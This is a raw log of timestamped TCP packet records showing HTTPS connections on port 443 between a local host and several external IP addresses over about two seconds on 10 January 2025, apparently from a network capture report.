Jan 10, 2025 16:33:14.882632971 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.882796049 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.882833004 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.882837057 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.882863045 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.882895947 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.882903099 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.883374929 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.883410931 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.883416891 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.883424044 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.883455038 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.883713007 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.883773088 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.883807898 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.883815050 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.884399891 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.884438992 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.884442091 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.884450912 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.884481907 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.884488106 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.884536028 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.884569883 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.884574890 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.885230064 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.885271072 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.885279894 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.885288000 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.885318041 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.885324001 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.901598930 CET	443	49715	151.101.194.137	192.168.2.17
Jan 10, 2025 16:33:14.901623011 CET	443	49715	151.101.194.137	192.168.2.17
Jan 10, 2025 16:33:14.901695013 CET	49715	443	192.168.2.17	151.101.194.137
Jan 10, 2025 16:33:14.901734114 CET	443	49715	151.101.194.137	192.168.2.17
Jan 10, 2025 16:33:14.901778936 CET	49715	443	192.168.2.17	151.101.194.137
Jan 10, 2025 16:33:14.903233051 CET	443	49715	151.101.194.137	192.168.2.17
Jan 10, 2025 16:33:14.903276920 CET	443	49715	151.101.194.137	192.168.2.17
Jan 10, 2025 16:33:14.903294086 CET	49715	443	192.168.2.17	151.101.194.137
Jan 10, 2025 16:33:14.903306007 CET	443	49715	151.101.194.137	192.168.2.17
Jan 10, 2025 16:33:14.903331995 CET	49715	443	192.168.2.17	151.101.194.137
Jan 10, 2025 16:33:14.903353930 CET	49715	443	192.168.2.17	151.101.194.137
Jan 10, 2025 16:33:14.910072088 CET	443	49715	151.101.194.137	192.168.2.17
Jan 10, 2025 16:33:14.910096884 CET	443	49715	151.101.194.137	192.168.2.17
Jan 10, 2025 16:33:14.910170078 CET	443	49715	151.101.194.137	192.168.2.17
Jan 10, 2025 16:33:14.910204887 CET	49715	443	192.168.2.17	151.101.194.137
Jan 10, 2025 16:33:14.910227060 CET	49715	443	192.168.2.17	151.101.194.137
Jan 10, 2025 16:33:14.910465956 CET	49715	443	192.168.2.17	151.101.194.137
Jan 10, 2025 16:33:14.910482883 CET	443	49715	151.101.194.137	192.168.2.17
Jan 10, 2025 16:33:14.929687023 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.929717064 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.969496012 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.969537020 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.969563961 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.969595909 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.969639063 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:14.969646931 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.969676018 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.969814062 CET	49714	443	192.168.2.17	104.17.24.14
Jan 10, 2025 16:33:14.969835997 CET	443	49714	104.17.24.14	192.168.2.17
Jan 10, 2025 16:33:15.101885080 CET	443	49716	142.250.185.164	192.168.2.17
Jan 10, 2025 16:33:15.103486061 CET	49716	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:33:15.103507042 CET	443	49716	142.250.185.164	192.168.2.17
Jan 10, 2025 16:33:15.104763031 CET	443	49716	142.250.185.164	192.168.2.17
Jan 10, 2025 16:33:15.105003119 CET	49716	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:33:15.105897903 CET	49716	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:33:15.105981112 CET	443	49716	142.250.185.164	192.168.2.17
Jan 10, 2025 16:33:15.151348114 CET	49716	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:33:15.151371002 CET	443	49716	142.250.185.164	192.168.2.17
Jan 10, 2025 16:33:15.179387093 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.179712057 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.179729939 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.181255102 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.181411028 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.181797028 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.181883097 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.182296991 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.182313919 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.186177015 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.186517954 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.186547995 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.188532114 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.188612938 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.189270973 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.189353943 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.189574957 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.189584017 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.198792934 CET	49716	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:33:15.230715036 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.231005907 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.328627110 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.328696966 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.328737974 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.328774929 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.328790903 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.328809023 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.328843117 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.328905106 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.328958035 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.328993082 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.329027891 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.329029083 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.329029083 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.329044104 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.329735041 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.329755068 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.333246946 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.333323002 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.333347082 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.350023985 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.350109100 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.350137949 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.350166082 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.350193024 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.350197077 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.350236893 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.350254059 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.350394964 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.350403070 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.350883961 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.350924969 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.350934029 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.354676008 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.354702950 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.354737043 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.354747057 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.354780912 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.370760918 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.370817900 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.370984077 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.371321917 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.371337891 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.375119925 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.416954994 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.417032957 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.417057037 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.417107105 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.417146921 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.417311907 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.417377949 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.417385101 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.417398930 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.417439938 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.417459965 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.417953014 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.417959929 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.418241024 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.418288946 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.418318033 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.418348074 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.418397903 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.418397903 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.418406963 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.418513060 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.419157028 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.419224977 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.419253111 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.419289112 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.419298887 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.419326067 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.419346094 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.420181036 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.420212984 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.420236111 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.420252085 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.420341969 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.438713074 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.438767910 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.438817978 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.438843012 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.438865900 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.438915014 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.438925982 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.439153910 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.439207077 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.439217091 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.439466000 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.439527035 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.439538002 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.439552069 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.439591885 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.439636946 CET	49718	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.439656019 CET	443	49718	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.445028067 CET	49720	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.445063114 CET	443	49720	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.445349932 CET	49720	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.445493937 CET	49720	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.445506096 CET	443	49720	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.466224909 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.466352940 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.466804028 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.467041016 CET	49717	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:15.467065096 CET	443	49717	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:15.848552942 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.848917961 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.848948956 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.849292994 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.849648952 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.849705935 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.849802017 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.891335011 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.899262905 CET	443	49720	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.899785995 CET	49720	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.899816990 CET	443	49720	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.900171995 CET	443	49720	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.900758028 CET	49720	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.900758028 CET	49720	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.900769949 CET	443	49720	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.900829077 CET	443	49720	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.946679115 CET	49720	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.978322029 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.978373051 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.978408098 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.978439093 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.978444099 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.978471041 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.978502035 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.978593111 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.978652000 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.978657961 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.978693008 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.978719950 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.978733063 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.978739977 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:15.978998899 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:15.979492903 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.026695013 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.026719093 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.045453072 CET	443	49720	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.045543909 CET	443	49720	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.045614004 CET	49720	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.046256065 CET	49720	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.046272993 CET	443	49720	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.049329996 CET	49721	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.049369097 CET	443	49721	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.049540043 CET	49721	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.049803972 CET	49721	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.049818993 CET	443	49721	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.073719978 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.079828978 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.079895020 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.079926014 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.079960108 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.079991102 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.080032110 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.080054998 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.080089092 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.080645084 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.080691099 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.080723047 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.080735922 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.080744982 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.080802917 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.080811977 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.081595898 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.081623077 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.081666946 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.081680059 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.081691980 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.081708908 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.081718922 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.081753016 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.081760883 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.082566023 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.082600117 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.082623959 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.082626104 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.082638025 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.082674980 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.082683086 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.082741976 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.083417892 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.123277903 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.171521902 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.171575069 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.171602964 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.171624899 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.171686888 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.171700954 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.171700001 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.171717882 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.171742916 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.171781063 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.171781063 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.171781063 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.171799898 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.172609091 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.172697067 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.172702074 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.172717094 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.172743082 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.173424006 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.173469067 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.173484087 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.173496962 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.173523903 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.173523903 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.173568964 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.173574924 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.173706055 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.174222946 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.174269915 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.174283028 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.174293995 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.174314976 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.174326897 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.175288916 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.175338984 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.175339937 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.175349951 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.175374031 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.175383091 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.175389051 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.175395966 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.175417900 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.176312923 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.176359892 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.176378965 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.176425934 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.263140917 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.263197899 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.263220072 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.263242006 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.263267994 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.263287067 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.263290882 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.263350010 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.263401985 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.263741016 CET	49719	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.263756990 CET	443	49719	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.274610043 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.274702072 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.274916887 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.275161982 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.275206089 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.312153101 CET	49709	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:16.359335899 CET	443	49709	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:16.446856022 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.446918964 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.447109938 CET	49723	443	192.168.2.17	104.18.95.41
